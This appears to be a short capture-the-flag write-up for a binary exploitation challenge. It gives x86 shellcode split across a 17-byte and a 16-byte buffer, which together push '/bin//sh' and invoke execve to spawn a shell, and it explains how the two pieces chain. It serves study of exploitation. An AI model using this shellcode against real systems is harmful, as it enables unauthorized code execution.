The binary limit the input, we can only input 17 bytes in the first buffer and 16 bytes in the second buffer.in the 1st buffer we made a 17 bytes shellcode like this```    xor    eax, eax    push   eax    push   0x68732f2f    push   0x6e69622f    lea    esi, [ebp-28]    call   esi```And for the 2nd buffer, we made the shellcode like this```    add    esp, 4    mov    ebx, esp    xor    ecx, ecx    xor    edx, edx    mov    al, 0xb    int    0x80```in the 1st shellcode, we push "/bin//sh" to esp, and call the 2nd buffer address(lea for load effective address, and call to call it) and set up the stack for syscall so it will execute execve('/bin//sh', 0, 0)